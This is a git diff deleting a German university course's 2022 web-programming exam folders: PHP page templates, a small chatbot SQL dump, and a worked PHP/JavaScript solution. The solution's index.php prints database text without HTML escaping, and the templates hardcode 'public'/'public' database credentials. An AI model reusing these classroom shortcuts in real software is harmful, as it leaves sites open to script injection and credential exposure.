- * @author   Bernhard Kreling, <bernhard.kreling@h-da.de>
- * @author   Ralf Hahn, <ralf.hahn@h-da.de>
- * @version  3.1
- */
-
-/**
- * This abstract class is a common base class for all
- * HTML-pages to be created.
- * It manages access to the database and provides operations
- * for outputting header and footer of a page.
- * Specific pages have to inherit from that class.
- * Each derived class can use these operations for accessing the database
- * and for creating the generic parts of a HTML-page.
- *
- * @author   Bernhard Kreling, <bernhard.kreling@h-da.de>
- * @author   Ralf Hahn, <ralf.hahn@h-da.de>
- */
-abstract class Page
-{
-    // --- ATTRIBUTES ---
-
-    /**
-     * Reference to the MySQLi-Database that can be used
-     * by all operations of the class or inherited classes.
-     */
-    protected MySQLi $_database;
-
-    // --- OPERATIONS ---
-
-    /**
-     * Connects to DB and stores
-     * the connection in member $_database.
-     * Needs name of DB, user, password.
-     */
-    protected function __construct()
-    {
-        error_reporting(E_ALL);
-
-        $host = "localhost";
-        /********************************************/
-        // This code switches from the the local installation (XAMPP) to the docker installation 
-        if (gethostbyname('mariadb') != "mariadb") { // mariadb is known?
-            $host = "mariadb";
-        }
-        /********************************************/
-
-        $this->_database = new MySQLi($host, "public", "public", "2022_Easy2Read"); //NOSONAR ignore hardcoded password
-
-        if ($this->_database->connect_errno) {
-            throw new Exception("Connect failed: " . $this->_database->connect_errno);
-        }
-
-        // set charset to UTF8!!
-        if (!$this->_database->set_charset("utf8")) {
-            throw new Exception($this->_database->error);
-        }
-    }
-
-    /**
-     * Closes the DB connection and cleans up
-     */
-    public function __destruct()
-    {
-        $this->_database->close();
-    }
-
-    /**
-     * Generates the header section of the page.
-     * i.e. starting from the content type up to the body-tag.
-     * Takes care that all strings passed from outside
-     * are converted to safe HTML by htmlspecialchars.
-     *
-     * @param string $title $title is the text to be used as title of the page
-     * @param string $jsFile path to a java script file to be included, default is "" i.e. no java script file
-     * @param bool $autoreload  true: auto reload the page every 5 s, false: not auto reload
-     * @return void
-     */
-    protected function generatePageHeader(string $title = "", string $jsFile = "", bool $autoreload = false):void
-    {
-        $title = htmlspecialchars($title);
-        header("Content-type: text/html; charset=UTF-8");
-
-        // to do: handle all parameters
-        // to do: output common beginning of HTML code
-    }
-
-    /**
-     * Outputs the end of the HTML-file i.e. </body> etc.
-	 * @return void
-     */
-    protected function generatePageFooter():void
-    {
-        // to do: output common end of HTML code
-    }
-
-    /**
-     * Processes the data that comes in via GET or POST.
-     * If every derived page is supposed to do something common
-	 * with submitted data do it here. 
-	 * E.g. checking the settings of PHP that
-     * influence passing the parameters (e.g. magic_quotes).
-	 * @return void
-     */
-    protected function processReceivedData():void
-    {
-
-    }
-} // end of class
-
-// Zend standard does not like closing php-tag!
-// PHP doesn't require the closing tag (it is assumed when the file ends). 
-// Not specifying the closing ? >  helps to prevent accidents 
-// like additional whitespace which will cause session 
-// initialization to fail ("headers already sent"). 
-//? >
\ No newline at end of file
diff --git a/src/Klausuren/22SS/index.php b/src/Klausuren/22SS/index.php
deleted file mode 100644
index eda6373038ee578cd3fdaeddff11158a719dd338..0000000000000000000000000000000000000000
--- a/src/Klausuren/22SS/index.php
+++ /dev/null
@@ -1,26 +0,0 @@
-<!DOCTYPE html>
-<html lang="de">
-<head>
-    <meta charset="UTF-8"/>
-    <title>EWA-Klausur 2022</title>
-</head>
-<body>
-<header>
-    <h1>EWA-Klausur im Sommersemester 2022</h1>
-	<p>
-		Seit Sommersemester 2021 wird die EWA-Klausur am Rechner geschrieben und über GitLab abgegeben.
-		Deshalb gibt es hier 2 Verzeichnisse: Das Verzeichnis <em>Aufgabe</em> mit den Dateien wie sie 
-		in der Klausur bereitgestellt wurden und das Verzeichnis <em>Loesung</em> mit einer Lösung der Aufgabe.
-	</p>
-</header>
-<main>
-    <ul>	
-		<li><a href="Aufgabe/_22SS_Klausur_EWA.pdf">Die Klausuraufgabe als PDF</a></li>
-        <li><a href="Aufgabe">Der Ordner "Aufgabe" mit den zugelieferten Dateien für Ihre Lösung der Klausuraufgabe</a></li>		
-        <li><a href="Aufgabe/Exam22.html">Ihre Lösung der Aufgabe als Webanwendung (wenn Sie es gelöst haben)</a></li>	
-		<li><a href="Loesung">Der Ordner "Loesung" mit der Lösung der Klausuraufgabe</a></li>
-        <li><a href="Loesung/Exam22.html">Die Lösung der Aufgabe als Webanwendung</a></li>
-    </ul>
-</main>
-</body>
-</html>
\ No newline at end of file
diff --git a/src/Klausuren/22WS/Aufgabe/Klausur_WS22.pdf b/src/Klausuren/22WS/Aufgabe/Klausur_WS22.pdf
deleted file mode 100644
index f9736c4b0982d3f4a61480356bba0b1398b7aa99..0000000000000000000000000000000000000000
Binary files a/src/Klausuren/22WS/Aufgabe/Klausur_WS22.pdf and /dev/null differ
diff --git a/src/Klausuren/22WS/Aufgabe/Zulieferung/Exam.css b/src/Klausuren/22WS/Aufgabe/Zulieferung/Exam.css
deleted file mode 100644
index 528a387774e21521ac6c0e23843102c26fabefee..0000000000000000000000000000000000000000
--- a/src/Klausuren/22WS/Aufgabe/Zulieferung/Exam.css
+++ /dev/null
@@ -1 +0,0 @@
-/* Aufgabe 4*/
\ No newline at end of file
diff --git a/src/Klausuren/22WS/Aufgabe/Zulieferung/Exam.js b/src/Klausuren/22WS/Aufgabe/Zulieferung/Exam.js
deleted file mode 100644
index 791a023545d9779b82f01d84f9db1aa4fc7f3951..0000000000000000000000000000000000000000
--- a/src/Klausuren/22WS/Aufgabe/Zulieferung/Exam.js
+++ /dev/null
@@ -1 +0,0 @@
-// Aufgabe 3
\ No newline at end of file
diff --git a/src/Klausuren/22WS/Aufgabe/Zulieferung/Exam.php b/src/Klausuren/22WS/Aufgabe/Zulieferung/Exam.php
deleted file mode 100644
index bd97e073abaaa7fab34c17e0d35c05de9d3b1632..0000000000000000000000000000000000000000
--- a/src/Klausuren/22WS/Aufgabe/Zulieferung/Exam.php
+++ /dev/null
@@ -1,133 +0,0 @@
-<?php declare(strict_types=1);
-// UTF-8 marker äöüÄÖÜ߀
-/**
- * Class PageTemplate for the exercises of the EWA lecture
- * Demonstrates use of PHP including class and OO.
- * Implements Zend coding standards.
- * Generate documentation with Doxygen or phpdoc
- *
- * PHP Version 7.4
- *
- * @file     PageTemplate.php
- * @package  Page Templates
- * @author   Bernhard Kreling, <bernhard.kreling@h-da.de>
- * @author   Ralf Hahn, <ralf.hahn@h-da.de>
- * @version  3.1
- */
-
-// to do: change name 'PageTemplate' throughout this file
-require_once './Page.php';
-
-/**
- * This is a template for top level classes, which represent
- * a complete web page and which are called directly by the user.
- * Usually there will only be a single instance of such a class.
- * The name of the template is supposed
- * to be replaced by the name of the specific HTML page e.g. baker.
- * The order of methods might correspond to the order of thinking
- * during implementation.
- * @author   Bernhard Kreling, <bernhard.kreling@h-da.de>
- * @author   Ralf Hahn, <ralf.hahn@h-da.de>
- */
-class Exam extends Page
-{
-    // to do: declare reference variables for members 
-    // representing substructures/blocks
-
-    /**
-     * Instantiates members (to be defined above).
-     * Calls the constructor of the parent i.e. page class.
-     * So, the database connection is established.
-     * @throws Exception
-     */
-    protected function __construct()
-    {
-        parent::__construct();
-        // to do: instantiate members representing substructures/blocks
-    }
-
-    /**
-     * Cleans up whatever is needed.
-     * Calls the destructor of the parent i.e. page class.
-     * So, the database connection is closed.
-     */
-    public function __destruct()
-    {
-        parent::__destruct();
-    }
-
-    /**
-     * Fetch all data that is necessary for later output.
-     * Data is returned in an array e.g. as associative array.
-	 * @return array An array containing the requested data. 
-	 * This may be a normal array, an empty array or an associative array.
-     */
-    protected function getViewData():array
-    {
-        // to do: fetch data for this view from the database
-		// to do: return array containing data
-    }
-
-    /**
-     * First the required data is fetched and then the HTML is
-     * assembled for output. i.e. the header is generated, the content
-     * of the page ("view") is inserted and -if available- the content of
-     * all views contained is generated.
-     * Finally, the footer is added.
-	 * @return void
-     */
-    protected function generateView():void
-    {
-        $data = $this->getViewData(); //NOSONAR ignore unused $data
-        $this->generatePageHeader('to do: change headline'); //to do: set optional parameters
-        // to do: output view of this page
-        $this->generatePageFooter();
-    }
-
-    /**
-     * Processes the data that comes via GET or POST.
-     * If this page is supposed to do something with submitted
-     * data do it here.
-	 * @return void
-     */
-    protected function processReceivedData():void
-    {
-        parent::processReceivedData();
-        // to do: call processReceivedData() for all members
-    }
-
-    /**
-     * This main-function has the only purpose to create an instance
-     * of the class and to get all the things going.
-     * I.e. the operations of the class are called to produce
-     * the output of the HTML-file.
-     * The name "main" is no keyword for php. It is just used to
-     * indicate that function as the central starting point.
-     * To make it simpler this is a static function. That is you can simply
-     * call it without first creating an instance of the class.
-	 * @return void
-     */
-    public static function main():void
-    {
-        try {
-            $page = new Exam();
-            $page->processReceivedData();
-            $page->generateView();
-        } catch (Exception $e) {
-            //header("Content-type: text/plain; charset=UTF-8");
-            header("Content-type: text/html; charset=UTF-8");
-            echo $e->getMessage();
-        }
-    }
-}
-
-// This call is starting the creation of the page. 
-// That is input is processed and output is created.
-Exam::main();
-
-// Zend standard does not like closing php-tag!
-// PHP doesn't require the closing tag (it is assumed when the file ends). 
-// Not specifying the closing ? >  helps to prevent accidents 
-// like additional whitespace which will cause session 
-// initialization to fail ("headers already sent"). 
-//? >
\ No newline at end of file
diff --git a/src/Klausuren/22WS/Aufgabe/Zulieferung/ExamAPI.php b/src/Klausuren/22WS/Aufgabe/Zulieferung/ExamAPI.php
deleted file mode 100644
index 2241daf391d9e69ba11625a31ad55e846a99b971..0000000000000000000000000000000000000000
--- a/src/Klausuren/22WS/Aufgabe/Zulieferung/ExamAPI.php
+++ /dev/null
@@ -1,133 +0,0 @@
-<?php declare(strict_types=1);
-// UTF-8 marker äöüÄÖÜ߀
-/**
- * Class PageTemplate for the exercises of the EWA lecture
- * Demonstrates use of PHP including class and OO.
- * Implements Zend coding standards.
- * Generate documentation with Doxygen or phpdoc
- *
- * PHP Version 7.4
- *
- * @file     PageTemplate.php
- * @package  Page Templates
- * @author   Bernhard Kreling, <bernhard.kreling@h-da.de>
- * @author   Ralf Hahn, <ralf.hahn@h-da.de>
- * @version  3.1
- */
-
-// to do: change name 'PageTemplate' throughout this file
-require_once './Page.php';
-
-/**
- * This is a template for top level classes, which represent
- * a complete web page and which are called directly by the user.
- * Usually there will only be a single instance of such a class.
- * The name of the template is supposed
- * to be replaced by the name of the specific HTML page e.g. baker.
- * The order of methods might correspond to the order of thinking
- * during implementation.
- * @author   Bernhard Kreling, <bernhard.kreling@h-da.de>
- * @author   Ralf Hahn, <ralf.hahn@h-da.de>
- */
-class ExamAPI extends Page
-{
-    // to do: declare reference variables for members 
-    // representing substructures/blocks
-
-    /**
-     * Instantiates members (to be defined above).
-     * Calls the constructor of the parent i.e. page class.
-     * So, the database connection is established.
-     * @throws Exception
-     */
-    protected function __construct()
-    {
-        parent::__construct();
-        // to do: instantiate members representing substructures/blocks
-    }
-
-    /**
-     * Cleans up whatever is needed.
-     * Calls the destructor of the parent i.e. page class.
-     * So, the database connection is closed.
-     */
-    public function __destruct()
-    {
-        parent::__destruct();
-    }
-
-    /**
-     * Fetch all data that is necessary for later output.
-     * Data is returned in an array e.g. as associative array.
-	 * @return array An array containing the requested data. 
-	 * This may be a normal array, an empty array or an associative array.
-     */
-    protected function getViewData():array
-    {
-        // to do: fetch data for this view from the database
-		// to do: return array containing data
-    }
-
-    /**
-     * First the required data is fetched and then the HTML is
-     * assembled for output. i.e. the header is generated, the content
-     * of the page ("view") is inserted and -if available- the content of
-     * all views contained is generated.
-     * Finally, the footer is added.
-	 * @return void
-     */
-    protected function generateView():void
-    {
-        $data = $this->getViewData(); //NOSONAR ignore unused $data
-        $this->generatePageHeader('to do: change headline'); //to do: set optional parameters
-        // to do: output view of this page
-        $this->generatePageFooter();
-    }
-
-    /**
-     * Processes the data that comes via GET or POST.
-     * If this page is supposed to do something with submitted
-     * data do it here.
-	 * @return void
-     */
-    protected function processReceivedData():void
-    {
-        parent::processReceivedData();
-        // to do: call processReceivedData() for all members
-    }
-
-    /**
-     * This main-function has the only purpose to create an instance
-     * of the class and to get all the things going.
-     * I.e. the operations of the class are called to produce
-     * the output of the HTML-file.
-     * The name "main" is no keyword for php. It is just used to
-     * indicate that function as the central starting point.
-     * To make it simpler this is a static function. That is you can simply
-     * call it without first creating an instance of the class.
-	 * @return void
-     */
-    public static function main():void
-    {
-        try {
-            $page = new ExamAPI();
-            $page->processReceivedData();
-            $page->generateView();
-        } catch (Exception $e) {
-            //header("Content-type: text/plain; charset=UTF-8");
-            header("Content-type: text/html; charset=UTF-8");
-            echo $e->getMessage();
-        }
-    }
-}
-
-// This call is starting the creation of the page. 
-// That is input is processed and output is created.
-ExamAPI::main();
-
-// Zend standard does not like closing php-tag!
-// PHP doesn't require the closing tag (it is assumed when the file ends). 
-// Not specifying the closing ? >  helps to prevent accidents 
-// like additional whitespace which will cause session 
-// initialization to fail ("headers already sent"). 
-//? >
\ No newline at end of file
diff --git a/src/Klausuren/22WS/Aufgabe/Zulieferung/HDA_Chatbot_Datenbank.sql b/src/Klausuren/22WS/Aufgabe/Zulieferung/HDA_Chatbot_Datenbank.sql
deleted file mode 100644
index 863558e7f6b3485f5403d1ed95603ba012385faa..0000000000000000000000000000000000000000
--- a/src/Klausuren/22WS/Aufgabe/Zulieferung/HDA_Chatbot_Datenbank.sql
+++ /dev/null
@@ -1,72 +0,0 @@
--- phpMyAdmin SQL Dump
--- version 5.1.3
--- https://www.phpmyadmin.net/
---
--- Host: mariadb:3306
--- Erstellungszeit: 31. Jan 2023 um 10:19
--- Server-Version: 10.7.3-MariaDB-1:10.7.3+maria~focal
--- PHP-Version: 8.0.15
-
-SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
-START TRANSACTION;
-SET time_zone = "+00:00";
-
-
-/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
-/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
-/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
-/*!40101 SET NAMES utf8mb4 */;
-
---
--- Datenbank: `HDA_Chatbot`
---
-CREATE DATABASE IF NOT EXISTS `HDA_Chatbot` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;
-USE `HDA_Chatbot`;
-
--- --------------------------------------------------------
-
---
--- Tabellenstruktur für Tabelle `interaction`
---
-
-CREATE TABLE `interaction` (
-  `id` int(11) NOT NULL,
-  `question` text NOT NULL,
-  `answer` text NOT NULL
-) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;
-
---
--- Daten für Tabelle `interaction`
---
-
-INSERT INTO `interaction` (`id`, `question`, `answer`) VALUES
-(1, 'Wer bist du?', 'Ich bin HDA_Chatbot!'),
-(2, 'Wie alt bist du?', 'Ich bin noch gar nicht geboren!'),
-(3, 'Was ist dein Lieblingsessen?', 'Alles was der Infotreff anzubieten hat!'),
-(4, 'Was ist dein Lieblingsfach?', 'EWA!'),
-(5, 'Was ist deine Meinung zu Informatik?', 'Informatik ist super!');
-
---
--- Indizes der exportierten Tabellen
---
-
---
--- Indizes für die Tabelle `interaction`
---
-ALTER TABLE `interaction`
-  ADD PRIMARY KEY (`id`);
-
---
--- AUTO_INCREMENT für exportierte Tabellen
---
-
---
--- AUTO_INCREMENT für Tabelle `interaction`
---
-ALTER TABLE `interaction`
-  MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=6;
-COMMIT;
-
-/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
-/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
-/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
diff --git a/src/Klausuren/22WS/Aufgabe/Zulieferung/Page.php b/src/Klausuren/22WS/Aufgabe/Zulieferung/Page.php
deleted file mode 100644
index 233aa869fb2b61ea7baf5354aa785ebcae799ab7..0000000000000000000000000000000000000000
--- a/src/Klausuren/22WS/Aufgabe/Zulieferung/Page.php
+++ /dev/null
@@ -1,143 +0,0 @@
-<?php declare(strict_types=1);
-// UTF-8 marker äöüÄÖÜ߀
-/**
- * Class Page for the exercises of the EWA lecture
- * Demonstrates use of PHP including class and OO.
- * Implements Zend coding standards.
- * Generate documentation with Doxygen or phpdoc
- *
- * PHP Version 7.4
- *
- * @file     Page.php
- * @package  Page Templates
- * @author   Bernhard Kreling, <bernhard.kreling@h-da.de>
- * @author   Ralf Hahn, <ralf.hahn@h-da.de>
- * @version  3.1
- */
-
-/**
- * This abstract class is a common base class for all
- * HTML-pages to be created.
- * It manages access to the database and provides operations
- * for outputting header and footer of a page.
- * Specific pages have to inherit from that class.
- * Each derived class can use these operations for accessing the database
- * and for creating the generic parts of a HTML-page.
- *
- * @author   Bernhard Kreling, <bernhard.kreling@h-da.de>
- * @author   Ralf Hahn, <ralf.hahn@h-da.de>
- */
-abstract class Page
-{
-    // --- ATTRIBUTES ---
-
-    /**
-     * Reference to the MySQLi-Database that can be used
-     * by all operations of the class or inherited classes.
-     */
-    protected MySQLi $_database;
-
-    // --- OPERATIONS ---
-
-    /**
-     * Connects to DB and stores
-     * the connection in member $_database.
-     * Needs name of DB, user, password.
-     */
-    protected function __construct()
-    {
-        error_reporting(E_ALL);
-
-        $host = "localhost";
-        /********************************************/
-        // This code switches from the the local installation (XAMPP) to the docker installation 
-        if (gethostbyname('mariadb') != "mariadb") { // mariadb is known?
-            $host = "mariadb";
-        }
-        /********************************************/
-
-        $this->_database = new MySQLi($host, "public", "public", "HDA_Chatbot"); //NOSONAR ignore hardcoded password
-
-        if (mysqli_connect_errno()) {
-            throw new Exception("Connect failed: " . mysqli_connect_error());
-        }
-
-        // set charset to UTF8!!
-        if (!$this->_database->set_charset("utf8")) {
-            throw new Exception($this->_database->error);
-        }
-    }
-
-    /**
-     * Closes the DB connection and cleans up
-     */
-    public function __destruct()
-    {
-        $this->_database->close();
-    }
-
-    /**
-     * Generates the header section of the page.
-     * i.e. starting from the content type up to the body-tag.
-     * Takes care that all strings passed from outside
-     * are converted to safe HTML by htmlspecialchars.
-     *
-     * @param string $title $title is the text to be used as title of the page
-     * @param string $jsFile path to a java script file to be included, default is "" i.e. no java script file
-     * @param bool $autoreload  true: auto reload the page every 5 s, false: not auto reload
-     * @return void
-     */
-    protected function generatePageHeader(string $title = "", string $jsFile = "", bool $autoreload = false):void
-    {
-        $title = htmlspecialchars($title);
-        header("Content-type: text/html; charset=UTF-8");
-
-        echo <<< HTML
-            <!DOCTYPE html>
-            <html lang="de">
-            <head>
-                <meta charset="utf-8">
-                <meta name="viewport" content="width=device-width, initial-scale=1.0">
-                <script src="Exam.js"></script>
-                <link rel="stylesheet" href="Exam.css">
-                <title>$title</title>
-            </head>
-            <body>
-        HTML;
-
-        // to do: handle all parameters
-        // to do: output common beginning of HTML code
-    }
-
-    /**
-     * Outputs the end of the HTML-file i.e. </body> etc.
-	 * @return void
-     */
-    protected function generatePageFooter():void
-    {
-        echo <<< HTML
-            </body>
-            </html>
-        HTML;
-    }
-
-    /**
-     * Processes the data that comes in via GET or POST.
-     * If every derived page is supposed to do something common
-	 * with submitted data do it here. 
-	 * E.g. checking the settings of PHP that
-     * influence passing the parameters (e.g. magic_quotes).
-	 * @return void
-     */
-    protected function processReceivedData():void
-    {
-
-    }
-} // end of class
-
-// Zend standard does not like closing php-tag!
-// PHP doesn't require the closing tag (it is assumed when the file ends). 
-// Not specifying the closing ? >  helps to prevent accidents 
-// like additional whitespace which will cause session 
-// initialization to fail ("headers already sent"). 
-//? >
\ No newline at end of file
diff --git a/src/Klausuren/22WS/Loesung/Page.php b/src/Klausuren/22WS/Loesung/Page.php
deleted file mode 100644
index f5876e02bb535f81f4ada3cf4e08193d091be3ac..0000000000000000000000000000000000000000
--- a/src/Klausuren/22WS/Loesung/Page.php
+++ /dev/null
@@ -1,78 +0,0 @@
-<?php declare(strict_types=1);
-
-abstract class Page
-{
-    protected MySQLi $_database;
-
-    protected function __construct()
-    {
-        error_reporting(E_ALL);
-
-        $host = "localhost";
-        /********************************************/
-        // This code switches from the the local installation (XAMPP) to the docker installation 
-        if (gethostbyname('mariadb') != "mariadb") { // mariadb is known?
-            $host = "mariadb";
-        }
-        /********************************************/
-
-        $this->_database = new MySQLi($host, "public", "public", "HDA_Chatbot");
-
-        if (mysqli_connect_errno()) {
-            throw new Exception("Connect failed: " . mysqli_connect_error());
-        }
-
-        // set charset to UTF8!!
-        if (!$this->_database->set_charset("utf8")) {
-            throw new Exception($this->_database->error);
-        }
-    }
-
-    public function __destruct()
-    {
-    }
-
-    /**
-     * @param string $title $title is the text to be used as title of the page
-     * @param string $jsFile path to a java script file to be included, default is "" i.e. no java script file
-     * @param bool $autoreload  true: auto reload the page every 5 s, false: not auto reload
-     * @return void
-     */
-    protected function generatePageHeader(string $title = "", string $jsFile = "", bool $autoreload = false):void
-    {
-        $title = htmlspecialchars($title);
-        header("Content-type: text/html; charset=UTF-8");
-
-        echo <<< HTML
-            <!DOCTYPE html>
-            <html lang="de">
-            <head>
-                <meta charset="utf-8">
-                <meta name="viewport" content="width=device-width, initial-scale=1.0">
-                <script src="request.js"></script>
-                <link rel="stylesheet" href="style.css">
-                <title>$title</title>
-            </head>
-            <body>
-        HTML;
-    }
-
-    /**
-	 * @return void
-     */
-    protected function generatePageFooter():void
-    {
-        echo <<< HTML
-            </body>
-            </html>
-        HTML;
-    }
-
-    /**
-	 * @return void
-     */
-    protected function processReceivedData():void
-    {
-
-    }
-}
\ No newline at end of file
diff --git a/src/Klausuren/22WS/Loesung/index.php b/src/Klausuren/22WS/Loesung/index.php
deleted file mode 100644
index 054f424caab6834a7fbe47954113c09947843552..0000000000000000000000000000000000000000
--- a/src/Klausuren/22WS/Loesung/index.php
+++ /dev/null
@@ -1,122 +0,0 @@
-<?php declare(strict_types=1);
-
-require_once './Page.php';
-
-class Lecture extends Page
-{
-    /**
-     * @throws Exception
-     */
-    protected function __construct()
-    {
-        parent::__construct();
-    }
-
-    public function __destruct()
-    {
-        parent::__destruct();
-    }
-
-    /**
-	 * @return array
-     */
-    protected function getViewData():array
-    {
-        $sql = "SELECT question, answer FROM interaction";
-
-        $recordset = $this->_database->query($sql);
-        if (!$recordset) {
-            throw new Exception("Abfrage fehlgeschlagen: " . $this->_database->error);
-        }
-        
-        $result = array();
-        $record = $recordset->fetch_assoc();
-        while ($record) {
-            $result[] = $record;
-            $record = $recordset->fetch_assoc();
-        }
-    
-        $recordset->free();
-        return $result;
-    }
-
-    /**
-	 * @return void
-     */
-    protected function generateView():void
-    {
-        $data = $this->getViewData();
-        $this->generatePageHeader('HDA_Chatbot');
-        echo <<< HTML
-            <div class="container">
-                <header class="header">
-                    <h1>HDA_Chatbot</h1>
-                </header>
-                <hr>
-                <nav class="navigation">
-                    <a href="#">Home</a>
-                    <a href="#">Impressum</a>
-                    <a href="#">Datenschutz</a>
-                </nav>
-                <hr>
-                <section>
-                    <h2>Folgendes kann man mich fragen</h2>
-                    <ol>
-        HTML;
-
-        foreach($data as $item) {
-            echo '<li>';
-            echo $item['question'];
-            echo '</li>';
-        }
-
-        echo <<< HTML
-                </ol>
-            </section>
-        HTML;
-
-        echo <<< HTML
-                <section>
-                    <h2>Chatausgabe</h2>
-                    <div id="chatbox" class="chatbox">
-                    </div>
-                    <div class="flex-container">
-                        <input type="text" value="" id="question" placeholder="Meine Frage ..." class="flex-input">
-                        <button onclick="requestData()" class="flex-button">Frage abschicken</button>
-                    </div>
-                </section>
-                <hr class="separator">
-                <footer class="footer">
-                    Copyright © Thomas Hofmann
-                </footer>
-            </div>
-        HTML;
-
-        $this->generatePageFooter();
-    }
-
-    /**
-	 * @return void
-     */
-    protected function processReceivedData():void
-    {
-        parent::processReceivedData();
-    }
-
-    /**
-	 * @return void
-     */
-    public static function main():void
-    {
-        try {
-            $page = new Lecture();
-            $page->processReceivedData();
-            $page->generateView();
-        } catch (Exception $e) {
-            header("Content-type: text/html; charset=UTF-8");
-            echo $e->getMessage();
-        }
-    }
-}
-
-Lecture::main();
\ No newline at end of file
diff --git a/src/Klausuren/22WS/Loesung/request.js b/src/Klausuren/22WS/Loesung/request.js
deleted file mode 100644
index ec99e0faddf9ef007d37eb48862235281147095c..0000000000000000000000000000000000000000
--- a/src/Klausuren/22WS/Loesung/request.js
+++ /dev/null
@@ -1,43 +0,0 @@
-// request als globale Variable anlegen (haesslich, aber bequem)
-var request = new XMLHttpRequest(); 
-
-function requestData() { // fordert die Daten asynchron an
-    let $question = document.getElementById('question');
-
-    if($question.value) {
-        request.open("GET", "response.php?Question=" + $question.value); // URL für HTTP-GET
-	    request.onreadystatechange = processData; //Callback-Handler zuordnen
-	    request.send(null); // Request abschicken
-        $question.value = '';
-    }
-}
-
-function processData() {
-	if(request.readyState == 4) { // Uebertragung = DONE
-		if (request.status == 200) {   // HTTP-Status = OK
-			if(request.responseText != null) 
-			process(request.responseText);// Daten verarbeiten
-			else console.error ("Dokument ist leer");        
-		} 
-		else console.error ("Uebertragung fehlgeschlagen");
-	} else ;          // Uebertragung laeuft noch
-}
-
-function process(data) {
-    let dataDecoded = JSON.parse(data);
-
-    let today = new Date();
-    let time = today.getHours() + ":" + today.getMinutes() + ":" + today.getSeconds();
-
-    let text = 'Tut mir leid, auf diese Frage habe ich keine Antwort.';
-
-    if(dataDecoded.length) {
-        text = dataDecoded[0].answer;
-    }
-    
-    let chatbox = document.getElementById('chatbox');
-    let answer = document.createElement('p');
-
-    answer.innerText = time + ': ' + text;
-    chatbox.appendChild(answer);
-}
\ No newline at end of file
diff --git a/src/Klausuren/22WS/Loesung/response.php b/src/Klausuren/22WS/Loesung/response.php
deleted file mode 100644
index ebb372b3cb0a40b0f487e4ff9035b1b28bea6cd7..0000000000000000000000000000000000000000
--- a/src/Klausuren/22WS/Loesung/response.php
+++ /dev/null
@@ -1,89 +0,0 @@
-<?php declare(strict_types=1);
-
-require_once './Page.php';
-
-class Lecture extends Page
-{
-    protected $question = '';
-
-    /**
-     * @throws Exception
-     */
-    protected function __construct()
-    {
-        parent::__construct();
-    }
-
-    public function __destruct()
-    {
-        parent::__destruct();
-    }
-
-    /**
-	 * @return array
-     */
-    protected function getViewData():array
-    {
-        if($this->question) {
-            $question = $this->_database->real_escape_string($this->question);
-            $sql = "SELECT answer FROM interaction WHERE question='" . $question . "'";
-        }
-
-        $recordset = $this->_database->query($sql);
-        if (!$recordset) {
-            throw new Exception("Abfrage fehlgeschlagen: " . $this->_database->error);
-        }
-        
-        $result = array();
-        $record = $recordset->fetch_assoc();
-        while ($record) {
-            $result[] = $record;
-            $record = $recordset->fetch_assoc();
-        }
-    
-        $recordset->free();
-        return $result;
-    }
-
-    /**
-	 * @return void
-     */
-    protected function generateView():void
-    {
-        $data = $this->getViewData();
-
-        $jsonData = json_encode($data);
-        
-        header('Content-Type: application/json');
-        echo $jsonData;
-    }
-
-    /**
-	 * @return void
-     */
-    protected function processReceivedData():void
-    {
-        parent::processReceivedData();
-        
-        if(isset($_GET['Question'])) {
-            $this->question = $_GET['Question'];
-        }
-    }
-
-    /**
-	 * @return void
-     */
-    public static function main():void
-    {
-        try {
-            $page = new Lecture();
-            $page->processReceivedData();
-            $page->generateView();
-        } catch (Exception $e) {
-            header("Content-type: text/html; charset=UTF-8");
-            echo $e->getMessage();
-        }
-    }
-}
-
-Lecture::main();
\ No newline at end of file
diff --git a/src/Klausuren/22WS/Loesung/style.css b/src/Klausuren/22WS/Loesung/style.css
deleted file mode 100644
index fbb68a84baa506118ffb42fa35856d708870b0ed..0000000000000000000000000000000000000000
--- a/src/Klausuren/22WS/Loesung/style.css
+++ /dev/null
@@ -1,80 +0,0 @@
-body {
-    font-family: Verdana, sans-serif;
-}
-
-.container {
-    background-color: lightgray;
-
-    border: 1px solid black;
-    border-radius: 10px;
-
-    padding: 10px;
-
-    margin-right: 10%;
-    margin-left: 10%;
-}
-
-.navigation {
-    text-align: center;
-}
-
-.navigation a {
-    text-decoration: none;
-    color: inherit;
-    
-    padding-left: 10px;
-    padding-right: 10px;
-}
-
-.navigation a:visited {
-    color: inherit;
-}
-
-@media only screen and (max-width: 600px) {
-    .navigation a {
-        display: block;
-    }
-}
-
-.chatbox {
-    border: 1px solid black;
-    border-radius: 10px;
-
-    font-style: italic;
-
-    background-color: white;
-
-    min-height: 100px;
-
-    padding-left: 15px;
-
-    margin-bottom: 15px;
-}
-
-.flex-container {
-    display: flex;
-    flex-direction: row;
-    flex-wrap: wrap;
-}
-
-.flex-input {
-    flex-grow: 4;
-}
-
-.flex-button {
-    flex-grow: 2;
-}
-
-.header {
-    text-align: center;
-}
-
-.separator {
-    margin-top: 30px;
-}
-
-.footer {
-    padding-top: 15px;
-    padding-bottom: 15px;
-    text-align: center;
-}
\ No newline at end of file
diff --git a/src/Klausuren/22WS/index.php b/src/Klausuren/22WS/index.php
deleted file mode 100644
index dcb06c3859641fb5650a55b7f52e25fdeff46bdd..0000000000000000000000000000000000000000
--- a/src/Klausuren/22WS/index.php
+++ /dev/null
@@ -1,29 +0,0 @@
-<!DOCTYPE html>
-<html lang="de">
-<head>
-    <meta charset="UTF-8"/>
-    <title>EWA-Klausur 2022</title>
-</head>
-<body>
-<header>
-    <h1>EWA-Klausur im Wintersemester 2022(Hofmann)</h1>
-	<p>
-		Seit Sommersemester 2021 wird die EWA-Klausur am Rechner geschrieben und über GitLab abgegeben.
-		Deshalb gibt es hier 2 Verzeichnisse: 
-    <ol>
-    <li>Das Verzeichnis <em>Aufgabe</em> mit den Dateien wie sie 
-		in der Klausur bereitgestellt wurden und </li>
-    <li>das Verzeichnis <em>Loesung</em> mit einer Lösung der Aufgabe.</li>
-	</p>
-</header>
-<main>
